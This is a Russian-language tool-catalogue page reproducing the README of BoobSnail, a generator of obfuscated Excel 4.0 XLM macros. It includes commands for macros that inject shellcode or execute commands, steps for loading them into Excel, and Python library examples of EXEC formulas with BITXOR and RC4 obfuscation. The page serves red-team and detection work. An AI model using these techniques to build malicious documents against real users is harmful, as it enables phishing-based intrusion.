Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
boobsnail — Генерирует обфусцированные макросы Excel 4.0 XLM для операций красной команды и анализа синей команды, с поддержкой множества техник заражения, перевода формул и библиотечных пользовательских генераторов. | Kitploit
Инструменты/GitHubGitHub/stmcyber/boobsnail
Инструменты фишингаГенерация полезной нагрузкиТестирование на ПроникновениеСоциальная инженерияRed Teaming
GitHubstmcyber/boobsnail

boobsnail

Генерирует обфусцированные макросы Excel 4.0 XLM для операций красной команды и анализа синей команды, с поддержкой множества техник заражения, перевода формул и библиотечных пользовательских генераторов.

Репозиторий
256491 год назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

License

Следите за нами в Twitter!

BoobSnail

BoobSnail позволяет генерировать макросы XLM (Excel 4.0). Его цель — поддержка RedTeam и BlueTeam в создании макросов XLM. Возможности:

  • различные техники заражения;
  • различные техники обфускации;
  • перевод формул на языки, отличные от английского;
  • может использоваться как библиотека — вы легко можете написать свой собственный генератор.

Сборка и запуск

Протестировано на: Python 3.8.7rc1

root@kitploit:~
pip install -r requirements.txt
python boobsnail.py
___.                ___.     _________             .__.__
\_ |__   ____   ____\_ |__  /   _____/ ____ _____  |__|  |
 | __ \ /  _ \ /  _ \| __ \ \_____  \ /    \__  \ |  |  |
 | \_\ (  <_> |  <_> ) \_\ \/        \   |  \/ __ \|  |  |__
 |___  /\____/ \____/|___  /_______  /___|  (____  /__|____/
     \/                  \/        \/     \/     \/
     Author: @_mzer0 @stm_cyber
     (...)

Использование генераторов

root@kitploit:~
python boobsnail.py <generator> -h

Чтобы отобразить доступные генераторы, введите:

root@kitploit:~
python boobsnail.py

Примеры

Создание обфусцированного макроса, внедряющего x64 или x86 шеллкод:

root@kitploit:~
python boobsnail.py Excel4NtDonutGenerator --inputx86 <PATH_TO_SHELLCODE> --inputx64 <PATH_TO_SHELLCODE> --out boobsnail.csv

Создание обфусцированного макроса, запускающего calc.exe:

root@kitploit:~
python boobsnail.py Excel4ExecGenerator --cmd "powershell.exe -c calc.exe" --out boobsnail.csv

Сохранение вывода в Excel

  1. Сохраните вывод в CSV-файл.
  2. Скопируйте содержимое CSV-файла.
  3. Запустите Excel и создайте новый лист.
  4. Добавьте новый макрос Excel 4.0 (правый клик на Sheet1 -> Вставить -> MS Excel 4.0 Macro).
  5. Вставьте содержимое в ячейку A1 или R1C1.
  6. Нажмите Данные -> Текст по столбцам.
  7. Нажмите Далее -> Установите точку с запятой в качестве разделителя и нажмите Готово.

Использование библиотеки

BoobSnail включает библиотеку excel4lib, которая позволяет создавать собственные генераторы макросов Excel4. excel4lib содержит несколько классов, которые могут быть использованы при написании генератора:

  • excel4lib.macro.Excel4Macro — позволяет определять формулы Excel4, переменные значений;
  • excel4lib.macro.obfuscator.Excel4Obfuscator — позволяет обфусцировать созданные инструкции в Excel4Macro;
  • excel4lib.lang.Excel4Translator — позволяет переводить формулы на другой язык.

Основная идея этой библиотеки — представлять формулы Excel4, переменные, аргументы формул и значения как объекты Python. Благодаря этому вы можете легко изменять атрибуты инструкций, такие как имена формул или переменных, значения, адреса и т.д.

Например, давайте создадим простой макрос, запускающий calc.exe

root@kitploit:~
from excel4lib.macro import *
# Create macro object
macro = Excel4Macro("test.csv")
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())

Результат:

root@kitploit:~
cmd="calc.exe";
=EXEC(cmd);

Теперь предположим, что вы хотите обфусцировать ваш макрос. Для этого нужно импортировать обфускатор и передать его в объект Excel4Macro:

root@kitploit:~
from excel4lib.macro import *
from excel4lib.macro.obfuscator import *
# Create macro object
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())

На данный момент excel4lib предоставляет два класса обфускации:

  • excel4lib.macro.obfuscator.Excel4Obfuscator использует функции Excel 4.0, такие как BITXOR, SUM и т.д., для обфускации макроса;
  • excel4lib.macro.obfuscator.Excel4Rc4Obfuscator использует шифрование RC4 для обфускации формул.

Как видите, вы можете написать свой собственный класс обфускатора и использовать его в Excel4Macro.

Иногда вам может потребоваться перевести макрос на другой язык, например на ваш родной язык, в моем случае это польский. С excel4lib это довольно просто. Вам просто нужно импортировать класс Excel4Translator и вызвать set_language

root@kitploit:~
from excel4lib.macro import *
from excel4lib.lang.excel4_translator import *
# Change language
Excel4Translator.set_language("pl_PL")
# Create macro object
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())

Результат:

root@kitploit:~
cmd="calc.exe";
=URUCHOM.PROGRAM(cmd);

На данный момент поддерживаются только английский и польский языки. Если вы хотите использовать другой язык, вам нужно добавить переводы в каталог excel4lib/lang/langs.

Конечно, вам может понадобиться создать формулу, которая принимает другую формулу в качестве аргумента. Это можно сделать с помощью функции Excel4Macro.argument.

root@kitploit:~
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Add variable called cmd with value "calc" to the worksheet
cmd_1 = macro.variable("cmd", "calc")
# Add cell containing .exe as value
cmd_2 = macro.value(".exe")
# Create CONCATENATE formula that CONCATENATEs cmd_1 and cmd_2
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Pass CONCATENATE call as argument to EXEC formula
macro.formula("EXEC", exec_arg)
# Dump to CSV
print(macro.to_csv())

Результат:

root@kitploit:~
cmd="calc";
.exe;
=EXEC(CONCATENATE(cmd,R2C1));

Как видите, строка ".exe" была передана в формулу CONCATENATE как R2C1. R2C1 — это адрес значения ".exe" (строка номер 2 и столбец номер 1). excel4lib возвращает ссылки на формулы и значения как адреса. Ссылки на переменные возвращаются как их имена. Вы, вероятно, заметили, что класс Excel4Macro добавляет формулы, переменные, значения на лист автоматически в том порядке, в котором эти объекты создаются, и что начальный адрес — R1C1. Что если вы хотите разместить формулы в другом столбце или строке? Это можно сделать, вызвав функцию Excel4Macro.set_cords.

root@kitploit:~
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Column 1
# Add variable called cmd with value "calc" to the worksheet
cmd_1 = macro.variable("cmd", "calc")
# Add cell containing .exe as value
cmd_2 = macro.value(".exe")
# Column 2
# Change cords to columns 2
macro.set_cords(2,1)
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Pass CONCATENATE call as argument to EXEC formula
exec_call = macro.formula("EXEC", exec_arg)
# Column 1
# Back to column 1. Change cords to column 1 and row 3
macro.set_cords(1,3)
# GOTO EXEC call
macro.goto(exec_call)
# Dump to CSV
print(macro.to_csv())

Результат:

root@kitploit:~
cmd="calc";=EXEC(CONCATENATE(cmd,R2C1));
.exe;;
=GOTO(R1C2);;

Автор

mzer0 из команды stm_cyber!

Статьи

Первый шаг в Excel 4.0 для Red Team

BoobSnail — генератор макросов Excel 4.0

Скачать инструмент